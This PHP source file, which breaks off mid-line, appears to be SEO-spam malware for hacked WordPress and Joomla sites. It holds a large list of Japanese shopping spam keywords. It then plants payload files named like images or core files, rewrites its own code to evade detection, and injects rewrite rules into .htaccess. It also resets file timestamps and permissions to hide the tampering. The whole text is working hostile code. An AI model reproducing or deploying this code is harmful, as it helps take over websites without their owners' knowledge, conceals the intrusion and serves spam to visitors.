$arr_key[]="【お買い得!】"; $arr_key[]="【2016春夏新作】"; $arr_key[]="【返品不可】"; $arr_key[]="【メーカー直売】"; $arr_key[]="ふるさと納税"; $arr_key[]="おすすめ"; $arr_key[]="贈り物"; $arr_key[]="高価値"; $arr_key[]="驚きの値段"; $arr_key[]="【希望者のみラッピング無料】"; $arr_key[]="【当店限定販売】"; $arr_key[]="【クーポン対象外】"; $arr_key[]="上品"; $arr_key[]="【楽天カード分割】"; $arr_key[]="【楽天スーパーセール】"; $arr_key[]="【お得】"; $arr_key[]="【★安心の定価販売★】"; $arr_key[]="数量限定価格!!"; $arr_key[]="激安"; $arr_key[]="史上最も激安"; $arr_key[]="【2015秋冬新作】"; $arr_key[]="【送料込】"; $arr_key[]="【オンラインショップ】"; $arr_key[]="即納!最大半額!"; $arr_key[]="高い素材"; $arr_key[]="【公式ショップ】"; $arr_key[]="【超目玉枠】"; $arr_key[]="【高い素材】"; $arr_key[]="【海外 正規品】"; $arr_key[]="完売"; $arr_key[]="超人気"; $arr_key[]="【格安SALEスタート】"; $arr_key[]="【ポイント10倍】"; $arr_key[]="【代引き不可】"; $arr_key[]="【税込・送料無料】"; $arr_key[]="【祝開店!大放出セール開催中】"; $arr_key[]="祝開店!大放出セール開催中"; $arr_key[]="出産祝い"; $arr_key[]="宅配便配送"; $arr_key[]="保障できる"; $arr_key[]="品質検査済"; $arr_key[]="【翌日発送可能】"; $arr_key[]="【年中無休】"; $arr_key[]="【ついに再販開始!】"; $arr_key[]="爆買い!"; $arr_key[]="【お年玉セール特価】"; $arr_key[]="【タイムセール!】"; $arr_key[]="【国内在庫】"; $arr_key[]="【売れ筋】"; $arr_key[]="名作"; $arr_key[]="【年間ランキング6年連続受賞】"; $arr_key[]="【あす楽対応】"; $arr_key[]="【本日特価】"; $arr_key[]="スーパーセール期間限定"; $arr_key[]="【内祝い】"; $arr_key[]="【おまけ付】"; $arr_key[]="現品限り一斉値下げ!"; $arr_key[]="【送料無料】"; $arr_key[]="信頼"; $arr_key[]="【返品送料無料】"; $arr_key[]="【未使用品】"; $arr_key[]="『5年保証』"; $arr_key[]="正規品!"; $arr_key[]="【即出荷】"; $arr_key[]="【楽ギフ_包装】"; $arr_key[]="(訳ありセール 格安)"; $arr_key[]="【正規販売店】"; $arr_key[]="【美品】"; $arr_key[]="【再入荷!】"; $arr_key[]="【限定品】"; $arr_key[]="日本製"; $arr_key[]="配送員設置"; $arr_key[]="爆売り!"; $arr_key[]="【アウトレット☆送料無料】"; $arr_key[]="【国産】"; $arr_key[]="【楽天最安値に挑戦】"; $arr_key[]="【代引可】"; $arr_key[]="【返品?交換対象商品】"; $arr_key[]="【国内正規品】"; $arr_key[]="●日本正規品●"; $arr_key[]="開店祝い"; $arr_key[]="【初売り】"; $arr_key[]="【訳あり】"; $arr_key[]="【在庫一掃】"; $arr_key[]="【オンライン限定商品】"; $arr_key[]="【楽天ランキング1位】"; $arr_key[]="【破格値下げ】"; $arr_key[]="【コンビニ受取対応商品】"; $arr_key[]="【返品交換不可】"; $arr_key[]="【限定価格セール!】"; $arr_key[]="【新作からSALEアイテム等お得な商品満載】"; $arr_key[]="【スーパーセール】"; $arr_key[]="逆輸入"; $arr_key[]="【爆売り!】"; $arr_key[]="【即納】"; $arr_key[]="【1着でも送料無料】"; $arr_key[]="【セール 登場から人気沸騰】"; $arr_key[]="【人気商品】"; $arr_key[]="代引き手数料無料"; $arr_key[]="【★超目玉】"; $arr_key[]="【SALE】"; $arr_key[]="開店記念セール!"; $arr_key[]="【50%OFF】"; $arr_key[]="【史上最も激安】"; $arr_key[]="当店在庫してます!"; $arr_key[]="【半額】"; $arr_key[]="優先配送"; $arr_key[]="結婚祝い"; $arr_key[]="【初回限定】"; $arr_key[]="【時間指定不可】"; $arr_key[]="【在庫僅少】"; $arr_key[]="【受注生産品】"; $arr_key[]="【海外限定】"; $arr_key[]="当店だけの限定モデル"; $arr_key[]="【正規品直輸入】"; $arr_key[]="海外並行輸入正規品"; $arr_key[]="【超目玉】"; $arr_key[]="【驚きの価格が実現!】"; $arr_key[]="【GINGER掲載商品】"; $arr_key[]="【お買得!】"; $arr_key[]="通販"; $arr_key[]="【500円引きクーポン】"; $arr_key[]="【激安大特価!】"; $arr_key[]="【2015A/W新作★送料無料】"; $arr_key[]="【2016 新作】"; $arr_key[]="お得セット"; $arr_key[]="お歳暮"; $arr_key[]="【海外輸入】"; $arr_key[]="日本限定"; $arr_key[]="【予約中!】"; $arr_key[]="【正規品】"; $arr_key[]="オリジナル"; $arr_key[]="【数量は多】"; $arr_key[]="【2015年製 新品】"; $arr_key[]="【爆売りセール開催中!】"; $arr_key[]="超ポイントアップ祭"; $arr_key[]="国産品"; $arr_key[]="限定価格セール!"; $arr_key[]="【初回限定お試し価格】"; $arr_key[]="【ネット限定】"; $arr_key[]="【特価】"; $arr_key[]="『3年保証』"; $arr_key[]="【第1位獲得!】"; $arr_key[]="【売り切り御免!】"; $arr_key[]="【激安セール】"; $arr_key[]="【オープニング 大放出セール】"; $arr_key[]="【全商品オープニング価格 特別価格】"; $arr_key[]="【即日発送】"; $arr_key[]="【値下げ】"; $arr_key[]="【全品送料無料】"; $arr_key[]="【70%OFF】"; $arr_key[]="【高額売筋】"; $arr_key[]="【期間限定特価】"; $arr_key[]="お見舞い"; $arr_key[]="【大特価!!】"; $arr_key[]="【高価値】"; $arr_key[]="【楽ギフ_のし宛書】"; $arr_key[]="セットアップ"; $arr_key[]="[定休日以外毎日出荷中]"; $arr_key[]="【在庫あり】"; $arr_key[]="【メーカー包装済】"; $arr_key[]="【ご予約品】"; $arr_key[]="希少 黒入荷!"; $arr_key[]="【中古】"; $arr_key[]="【新品】"; $arr_key[]="【レビューで送料無料】"; $arr_key[]="【在庫処分】"; $arr_key[]="【数量限定】"; $arr_key[]="【正規逆輸入品】"; $arr_key[]="【超ポイントバック祭】"; $arr_key[]="【WEB限定】"; $arr_key[]="【送料無料キャンペーン?】"; $arr_key[]="【最安値に挑戦】"; $arr_key[]="超歓迎された"; $arr_key[]="予約販売"; $arr_key[]="【現金特価】"; $arr_key[]="(税込)"; $arr_key[]="オープニング 大放出セール"; $arr_key[]="【爆買い!】"; $arr_key[]="驚きの価格が実現!"; $arr_key[]="【当店一番人気】"; $arr_key[]="【ラッピング無料】"; $arr_key[]="【超特価SALE開催!】"; $arr_key[]="【最安値挑戦】"; $arr_key[]="【国際ブランド】"; $arr_key[]="超特価SALE開催!"; $arr_key[]="特別価格"; $arr_key[]="【名入れ無料】"; $arr_key[]="お気に入り"; $arr_key[]="【現品限り一斉値下げ!】"; $arr_key[]="【予約】"; $arr_key[]="【待望★】"; $arr_key[]="【はこぽす対応商品】"; $arr_key[]="【在庫あり/即出荷可】"; $arr_key[]="【超お買い得!】"; $arr_key[]="【おすすめ】"; $arr_key[]="【あすつく】"; $arr_key[]="『1年保証』"; $arr_key[]="★大人気商品★"; $arr_key[]="【T-ポイント5倍】"; $arr_key[]="【ラッピング不可】"; $arr_key[]="『2年保証』"; $arr_key[]="【ギフト】"; $arr_key[]="【限定製作】"; $arr_key[]="【感謝価格】"; $arr_key[]="早割クーポン!"; $arr_key[]="【別倉庫からの配送】"; $arr_key[]="新作からSALEアイテム等お得な商品満載"; $arr_key[]="【日本未発売】"; $arr_key[]="円高還元"; $arr_key[]="福袋"; $arr_key[]="【激安アウトレット!】"; $arr_key[]="楽天"; $arr_key[]="【 新品 】"; $arr_key[]="(お得な特別割引価格)"; $arr_key[]="【ふるさと割】"; $arr_key[]="超安い"; $arr_key[]="【気質アップ】"; $arr_key[]="【テレビで話題】"; $arr_key[]="【お買得】"; $arr_key[]="お気にいる"; $arr_key[]="【国内配送】"; $arr_key[]="大量入荷"; $arr_key[]="【残りわずか】"; $arr_key[]="【超安い】"; $arr_key[]="訳あり"; $arr_key[]="【新発売】"; $arr_key[]="驚きの値段で"; $arr_key[]="【お気に入り】"; $arr_key[]="最安値挑戦!"; $arr_key[]="【保証書付】"; $arr_key[]="玄関先迄納品"; $arr_key[]="【18%OFF】"; $arr_key[]="全商品オープニング価格!"; $arr_key[]="★日本の職人技★"; $arr_key[]="期間限定特別価格"; $arr_key[]="オンラインショップ"; $arr_key[]="訳あり商品"; $arr_key[]="入園入学祝い"; $arr_key[]="【2015最新作】"; $arr_key[]="【絶品】"; $arr_key[]="感謝の声続々!"; $arr_key[]="【期間限定送料無料】"; $arr_key[]="★お求めやすく価格改定★"; $arr_key[]="【限定セール!】"; $arr_key[]="【メール便無料】"; $arr_key[]="【驚きの値段で】"; $arr_key[]="【最安値挑戦!】"; $arr_key[]="【在庫限り】"; $arr_key[]="【即納!最大半額!】"; $arr_key[]="【超ポイント祭?期間限定】"; $arr_key[]="【一部予約!】"; $arr_key[]="大注目"; $arr_key[]="【セール】"; $arr_key[]="【メール便送料無料対応可】"; $arr_key[]="【国内正規総代理店アイテム】"; $arr_key[]="【在庫処分大特価!!】"; $arr_key[]="【ファッション通販】"; $arr_key[]="【メーカー再生品】"; $arr_key[]="数量は多"; $arr_key[]="【サイズ交換OK】"; $arr_key[]="【25%OFF】"; $arr_key[]="【10%OFF】"; $arr_key[]="【5%OFF】"; $arr_key[]="【国際ブランド】"; $arr_key[]="人気"; $arr_key[]="【即発送可能】"; $arr_key[]="誕生日プレゼント"; $arr_key[]="【2015・新作】"; $arr_key[]="【超新作】"; $arr_key[]="【メーカー直送】"; $arr_key[]="【日本製】"; $arr_key[]="【開店記念セール!】"; $arr_key[]="【後払い手数料無料】"; $arr_key[]="【信頼】"; $arr_key[]="【30%OFF】"; $arr_key[]="【上品】"; $arr_key[]="【人気ショップが最安値挑戦!】"; $arr_key[]="【希少!!】"; $arr_key[]="【35%OFF】"; $arr_key[]="【誠実】"; $arr_key[]="激安大特価!"; $arr_key[]="【在庫有】"; $arr_key[]="【予約受付中】"; $arr_key[]="交換無料!"; $arr_key[]="【限定特価】"; $arr_key[]="非売品"; $arr_key[]="【NEW限定品】"; $arr_key[]="[宅送]"; $arr_key[]="【60%OFF】"; $arr_key[]="【超歓迎された】"; $arr_key[]="【お取り寄せ】"; $arr_key[]="【一部予約販売】"; $arr_key[]="【ギフト】"; $arr_key[]="【福袋セール】"; $arr_key[]="【着後レビューで 送料無料】"; $arr_key[]="【まとめ買い】"; $arr_key[]="【レビューを書けば送料当店負担】"; $arr_key[]="【通販 人気】"; $arr_key[]="【おしゃれ】"; $arr_key[]="【予約販売品】"; $arr_key[]="【★大感謝セール】"; $arr_key[]="【日本産】"; $arr_key[]="【送料無料(一部地域を除く)】"; $arr_key[]="入荷中"; $arr_key[]="直送商品"; $arr_key[]="【メール便不可】"; $arr_key[]="【高品質】"; // #llqllq#arr_keyend $q1 = "O00O0O"; $q2 = "O0O000"; $q3 = "O0OO00"; $q4 = "OO0O00"; $q5 = "OO0000"; $q6 = "O00OO0"; $q7 = "O00O00"; $q8 = "O00OOO"; $$q1 = RandAbcs(); // #llqllq#randkeybg $strRand[0]="ofgjspzinrtkblywhqcuvdmexa"; $strRand[1]="hsfgtizmvnkropdcjayebqwxlu"; $strRand[2]="hntzxfoguaperkdqsmivyjlwcb"; $strRand[3]="ahsfucwbqetojdnmixpvgyzlkr"; $strRand[4]="lymqzicxrvpajfowubkstgndeh"; $strRand[5]="yftrdaozscupqbxeklwngvimjh"; $strRand[6]="icqnlsjmbtawozkudgryvhfxpe"; $strRand[7]="sekwpfcbtvljidazygnqmuohxr"; $strRand[8]="hsoitpjxendulabvckygfmwqzr"; $strRand[9]="jfzxerahqdpbmgustnwovliyck"; $strRand[10]="bhxgjaypmsvzufdqckntirelwo"; $strRand[11]="gpfqescahotkxdmjulbzvwnryi"; $strRand[12]="qgvrncdyxtlhjoefiwuszmkbap"; $strRand[13]="brmgsvcnywejdhlitopzqfkaxu"; $strRand[14]="cjiyqfgohbuevarnzmlptwsxdk"; $strRand[15]="vthsdrqoyenalxwkmfuizjgpbc"; $strRand[16]="cwmuivzhoxtyjardlbsekfngpq"; $strRand[17]="abogwvulesqtpnimcfzyjxhkrd"; $strRand[18]="kwhmexarpltnfvcozuisqgjbyd"; $strRand[19]="wbilzqcoyeakunjsxdrphvtfgm"; $strRand[20]="ihrnwcfjzbutoqdlgykamxesvp"; $strRand[21]="pzibduhgjankxmteolrfwcqyvs"; $strRand[22]="wnakesfxgytzujbodrcvhplimq"; $strRand[23]="idgypjeqmkxbosfhulcvwtanzr"; $strRand[24]="baeycwmonzjiqxukshgtrfdpvl"; $strRand[25]="xqnogelfycrspazitkbmdwvjuh"; $strRand[26]="dibwpvxyanqhlrcmfkguszotje"; $strRand[27]="tnmkhusjzgflwpviacyxoqbder"; $strRand[28]="wqrbikvlmzsfgdtexoapyjhnuc"; $strRand[29]="vgpiazhqcrelfbuwjtdmxsoynk"; $strRand[30]="odpczvnmyelrfwjsuibgqtxahk"; $strRand[31]="ybmqvjhwgilcedsoufzxrtpakn"; $strRand[32]="nqbhsyaztgxofkmljcevdipwur"; $strRand[33]="ypewjadnkuzvgsxcbqrhlitmof"; $strRand[34]="mtnfecsdpugxqjahrvwiybozkl"; $strRand[35]="xvmfnqcaiwjyrkdublhezogtsp"; $strRand[36]="oaxyvwnqfgpjmiustzelcdkhbr"; $strRand[37]="lrndgtczfhjmwxaqkusioyvebp"; $strRand[38]="xifolegpwnqrydubhtazmkvcsj"; $strRand[39]="vsecfwlqmtzaxipojknudhgbyr"; $strRand[40]="uqrkonbsejgptwxfdczyavhlmi"; $strRand[41]="ochsrwitjqxlmayzdebvnugkpf"; $strRand[42]="oznpvhmxaeucsfqgyidtrjblwk"; $strRand[43]="mjxrbdznweluoqtkphgaifsvcy"; $strRand[44]="alsncvzfmokhwyiqgdrtxpjube"; $strRand[45]="lucmnyjowfigqpehtbrvkdxzas"; $strRand[46]="kglrphbyqdoecstvxiwzjfuman"; $strRand[47]="ivtoufdskpnerwjcbgahzqlxym"; $strRand[48]="jplrgsteizdkxoachwmbvfquyn"; $strRand[49]="pstahcvxjbqnygwkmzifedulro"; $strRand[50]="wciyktdumzvhgonqblajxpefrs"; $strRand[51]="fvruzqcjinxtpswamhyglkobde"; $strRand[52]="cdnwqreshvfylgbpaitkmjxzou"; $strRand[53]="bpfukxndyqolhvwcmsgjziaret"; $strRand[54]="beokdzgqvnphyaiwcsfurjlmxt"; $strRand[55]="zmnkvaclisedjtwgbhuprqxfyo"; $strRand[56]="ofsglrwmajtndzbviqyuhepcxk"; $strRand[57]="zfpnveuyboqjkhidgmrcxalwst"; $strRand[58]="ajgbrupovkwcxnmldhfiqtseyz"; $strRand[59]="riqdfjgoyupcazbelthxwsnmvk"; $strRand[60]="tmyxwvsanbciudkzplfrjheoqg"; $strRand[61]="nrtjeuscklbdoxfyhmvqzwapgi"; $strRand[62]="tdjmnuawqkofplzsrbiyvhcgxe"; $strRand[63]="kwrxbcoevugqstdznmjyhlipfa"; $strRand[64]="hvdfowkampgcluytsqbjxnzire"; $strRand[65]="jrzlhbivoawdctmgyknfpqeusx"; $strRand[66]="untzyaidomxehrsvgwcpqjblfk"; $strRand[67]="iwaxyzbreuvndpqcfmghltjkso"; $strRand[68]="oukmwznxptbfdqviajsyhelcgr"; $strRand[69]="hdiyqgjmvfxlzpcarkutbnwose"; $strRand[70]="ilgxduvyjqfpocmekbzrwshtna"; $strRand[71]="xignrpkohycmqdetjalfsuwbvz"; $strRand[72]="fkxvlwsrthmedyacujozngbqip"; $strRand[73]="yjzvqntkelcraomipbgdfwhusx"; $strRand[74]="cbvarznifljumxkqteyswpdhgo"; $strRand[75]="vphgwoykrajcqfdbuxnetmiszl"; $strRand[76]="ohibtkrdzvmfqycjaxpwgnselu"; $strRand[77]="ulezptbcimwrajnyqsoxfdkghv"; $strRand[78]="fhotnailpysuvcwgrzxdbmejkq"; $strRand[79]="ynpljvkwouqcbegamhzxsfirtd"; $strRand[80]="znsywmougaeqlpcrhtkxbjvifd"; $strRand[81]="pzbqloxeyarufhmjsinkdwvcgt"; $strRand[82]="axciquorjbzkfdlmswhpnvygte"; $strRand[83]="gherswiftuyxdjnmblkqzovapc"; $strRand[84]="lgzxjwickeoprusqtnfvmaydhb"; $strRand[85]="xbznjstacwourimkhlfepyvqdg"; $strRand[86]="cvieghybnjmtrupksfxwqzoald"; $strRand[87]="crnxjmubypvilqeahkgfdtzswo"; $strRand[88]="zpdbufokhgnvqleictxrwyjsam"; $strRand[89]="lqdzsjfuthrxpcoigvmaeybwkn"; $strRand[90]="dlgicmavhuonrpxztksfjeyqwb"; $strRand[91]="ahsyfqrkugibenwpvltodjzcmx"; $strRand[92]="ewfziauyqrmcvsxpbjhdotgnkl"; $strRand[93]="dzitfwyakqomxbcvgpjrunhsle"; $strRand[94]="kuszxqapdwjrocybginlmetvhf"; $strRand[95]="laxspiytcbjehgvzodmrnuwkqf"; $strRand[96]="fdovgnikczljmpushbxyertqwa"; $strRand[97]="rubfejtwmisqnczhadkxvlyopg"; $strRand[98]="xqtsagbwnikomdflyrzjveuhcp"; $strRand[99]="onybwuxekcsmfpqglzthidvraj"; // #llqllq#randkeyend // $_SERVER["HTTP_REFERER"] = "google.co.jp"; $thisdom = str_replace("www.","",$_SERVER['HTTP_HOST']); // iiiiiiiiibg function sys_type(){ global $hostDir; if(file_exists("$hostDir/wp-config.php")){ return 'wp'; }elseif(strstr(@file_get_contents("$hostDir/configuration.php"),"JConfig")){ return 'Joomla'; }else{ return 'other'; } } function getFileType($filename){ $rs = '#.*\.([^\s]+)#i'; preg_match($rs,$filename,$matchType); return $matchType[1]; } function getTypeImg($source, &$destination, $num, $type){ global $numHostDir; $handle = opendir($source); while(($file = readdir($handle)) !== false){ if($file != '.' && $file != '..') { $src = $source . DIRECTORY_SEPARATOR . $file; if(is_dir($src)){ getTypeImg($src, $destination, $num, $type); }else{ if(count($destination) >= $num) return count($destination); $tempType = getFileType($file); if(strstr($type,$tempType)){ $tempMydir = count(explode(DIRECTORY_SEPARATOR,$src)); if($tempMydir - $numHostDir > 2 && !strstr($file,'index')){ $destination[$source] = $tempType .'#name#'. str_replace('.'.$tempType ,'' ,$file); } } } } } closedir($handle); } if(isset($_GET['install']) && $_GET['install'] == '1'){ if(isset($_SERVER['DOCUMENT_ROOT'])){ $hostDir = $_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR; }elseif(isset($_SERVER['PHP_SELF'])){ $hostDir = str_ireplace(str_replace("\\",DIRECTORY_SEPARATOR,str_replace("/",DIRECTORY_SEPARATOR,$_SERVER['PHP_SELF'])),'',__FILE__).DIRECTORY_SEPARATOR; }else{ $hostDir = '/'; } $hostDir = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR, $hostDir); $sysType = sys_type(); if($sysType == 'wp'){ $installFile = $hostDir.'wp-includes/images/media/logo_s.png'; $logFile = $hostDir.'wp-includes/images/media/log_s.png'; $mbFile = $hostDir.'wp-includes/images/media/mb_s.png'; $backupfile1 = $hostDir.'wp-includes/customize/class-wp-customize-filters-setting.php'; $backupfile2 = $hostDir.'wp-admin/includes/medias.php'; $fitime = filemtime($hostDir.'wp-admin/includes/'); }elseif($sysType == 'Joomla'){ $installFile = $hostDir.'media/system/images/logo_s.png'; $logFile = $hostDir.'media/system/images/log_s.png'; $mbFile = $hostDir.'media/system/images/mb_s.png'; $backupfile1 = $hostDir.'modules/mod_search/tmpl/defaults.php'; $backupfile2 = $hostDir.'libraries/joomla/cache/storage/memcaches.php'; $fitime = filemtime($hostDir.'modules/mod_search/'); }else{ $numHostDir = count(explode(DIRECTORY_SEPARATOR,$hostDir)); $arrImgDir = array(); getTypeImg($hostDir,$arrImgDir,1,'jpg,png,jpeg,gif,txt'); if(count($arrImgDir)){ foreach($arrImgDir as $key=>$vs){ list($tmepImgType,$trmeyImgName) = explode('#name#',$vs); $installFile = $key . DIRECTORY_SEPARATOR . $trmeyImgName .'s.'. $tmepImgType; while(file_exists($installFile)){ $installFile = $installFile.'-'; } $logFile = $key . DIRECTORY_SEPARATOR . $trmeyImgName .'_ls.'. $tmepImgType; while(file_exists($logFile)){ $logFile = $logFile.'-'; } $mbFile = $key . DIRECTORY_SEPARATOR . $trmeyImgName .'_mb.'. $tmepImgType; while(file_exists($mbFile)){ $mbFile = $mbFile.'-'; } } } $arrphpDir = array(); getTypeImg($hostDir,$arrphpDir,2,'php'); $i=1; foreach($arrphpDir as $key=>$vs){ $fitime = filemtime($key); list($tmepImgType,$trmeyImgName) = explode('#name#',$vs); $tempMyVs = 'backupfile'.$i++; $$tempMyVs = $key . DIRECTORY_SEPARATOR . $trmeyImgName .'s.'. $tmepImgType; while(file_exists($$tempMyVs)){ $$tempMyVs = str_replace(".$tmepImgType","s.$tmepImgType",$$tempMyVs); } } } $installFile = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$installFile); $logFile = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$logFile); $mbFile = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$mbFile); $backupfile1 = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$backupfile1); $backupfile2 = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$backupfile2); $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); $r1 = '#(// \#l{2}ql{2}q\#arr_keybg)(.*?)(// \#l{2}ql{2}q\#arr_keyend)#s'; $str = file_get_contents(__FILE__); shuffle($arr_key); $rp1 = ''; foreach($arr_key as $vals){ $rp1 .= '$arr_key[]="'. $vals .'";'. PHP_EOL; } $str = preg_replace($r1, '\1'. PHP_EOL . PHP_EOL .$rp1 . PHP_EOL . PHP_EOL .'\3', $str); $r0 = '#(/+keyjgbg)(.*?)(/+keyjgbgend)#s'; $str = preg_replace($r0, '\1'. PHP_EOL .'define("KEYJG","'. rand(1,20) .'");'. PHP_EOL .'\3'. PHP_EOL , $str); $r3 = '#(// \#l{2}ql{2}q\#arr_keywz)(.*?)(// \#l{2}ql{2}q\#arr_keywzend)#s'; shuffle($arrKeywz); $rp2 = ''; foreach($arrKeywz as $valpimg){ $rp2 .= '$arrKeywz[]="'. $valpimg .'";'. PHP_EOL; } $str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'\3', $str); $r3 = '#(// \#l{2}ql{2}q\#arr_wordbg)(.*?)(// \#l{2}ql{2}q\#arr_wordend)#s'; $strword = ''; $arrWordOld = array(2,3,4,2,2,3,4,3,3,4); $rp2 = ''; for($i=0;$i<12;$i++){ shuffle($arrWordOld); foreach($arrWordOld as $vtemps) $rp2 .= '$arr_word['. $i .'][] ="'. $vtemps .'";'; } $str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'\3', $str); $r3 = '#(// \#l{2}ql{2}q\#arr_nametimebg)(.*?)(// \#l{2}ql{2}q\#arr_nametimeend)#s'; shuffle($arrnametime); $rp2 = ''; foreach($arrnametime as $valpimg){ $rp2 .= '$arrnametime[]="'. $valpimg .'";'. PHP_EOL; } $str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'\3', $str); $r4 = '#(// \#l{2}ql{2}q\#randkeybg)(.*?)(// \#l{2}ql{2}q\#randkeyend)#s'; $arrABC = range('a','z'); $strTemp1 = ''; for($i=0;$i<100;$i++){ shuffle($arrABC); $strtemp = ''; foreach($arrABC as $value){ $strtemp .= $value; } $strTemp1 .= '$strRand[' .$i. ']="' . $strtemp .'";'. PHP_EOL; } $str = preg_replace($r4, '\1'. PHP_EOL . $strTemp1 . PHP_EOL .'\3', $str); $r0 = '#(/+i{4}mbfilebg)(.*?)(/+i{4}mbfileend)#s'; $str = preg_replace($r0, '\1'. PHP_EOL .'$mbFileName = \'/var/sentora/hostdata/zadmin/public_html/testjpnormaldd_com/wp-includes/images/media/mb_s.png\';'. PHP_EOL .'$logFileName = \'/var/sentora/hostdata/zadmin/public_html/testjpnormaldd_com/wp-includes/images/media/log_s.png\';'. PHP_EOL .'\3'. PHP_EOL , $str); $str = str_replace('/var/sentora/hostdata/zadmin/public_html/testjpnormaldd_com/wp-includes/images/media/mb_s.png',$mbFile,$str); $str = str_replace('/var/sentora/hostdata/zadmin/public_html/testjpnormaldd_com/wp-includes/images/media/log_s.png',$logFile,$str); file_put_contents(__FILE__, $str); $UrlBaseDir = ''; $PreDir = $hostDir; $RewriteOnDir = ''; $strhtt = ''; if (file_exists("$PreDir.htaccess")){ $fhtacTime = filemtime("$PreDir.htaccess"); @chmod("$PreDir.htaccess",0755); $strhtt = file_get_contents("$PreDir.htaccess"); } if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule'))) { $strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>'; }else{ $strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt); $strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt); } $hzReplace = trim($_GET['hzui']); if(1){ $r1 = '#(.*RewriteBase.*)#i'; $r2 = '#RewriteRule#i'; $rsut = '\1'.PHP_EOL . 'RewriteRule ^(\d+)'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)-.*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2-\$3&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^(\d+)'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2-\$3&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)[-/].*[-/](\d+)'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$3-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)[-/](\d+)'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$3-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/](\d+)'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$3-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/].*[-/](\d+)'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$3-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/](\d+)'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2-\$3&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/](\d+)'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2-\$3&%{QUERY_STRING} [L]'.PHP_EOL; $rsut2 = PHP_EOL . 'RewriteRule ^(\d+)'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)-.*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2-\$3&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^(\d+)'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2-\$3&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)[-/].*[-/](\d+)'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$3-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)[-/](\d+)'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$3-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/](\d+)'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$3-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/].*[-/](\d+)'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$3-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/](\d+)'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2-\$3&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/](\d+)'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2-\$3&%{QUERY_STRING} [L]'.PHP_EOL .'RewriteRule' ; if(preg_match($r1,$strhtt)){ $strhtt = preg_replace($r1,$rsut,$strhtt,1); }else{ $strhtt = preg_replace($r2,$rsut2,$strhtt,1); } if(JDT == 1 or JDT == 0){ file_put_contents("$PreDir.htaccess", $strhtt); @touch("$PreDir.htaccess", $fhtacTime, $fhtacTime); chmod($installFile, 0511); chmod($installFile, 0404); } } if(isset($_GET["jgshu"]) && $_GET["jgshu"]){ $str = str_replace('define("JGNUM","132");', 'define("JGNUM","'.trim($_GET["jgshu"]).'");', 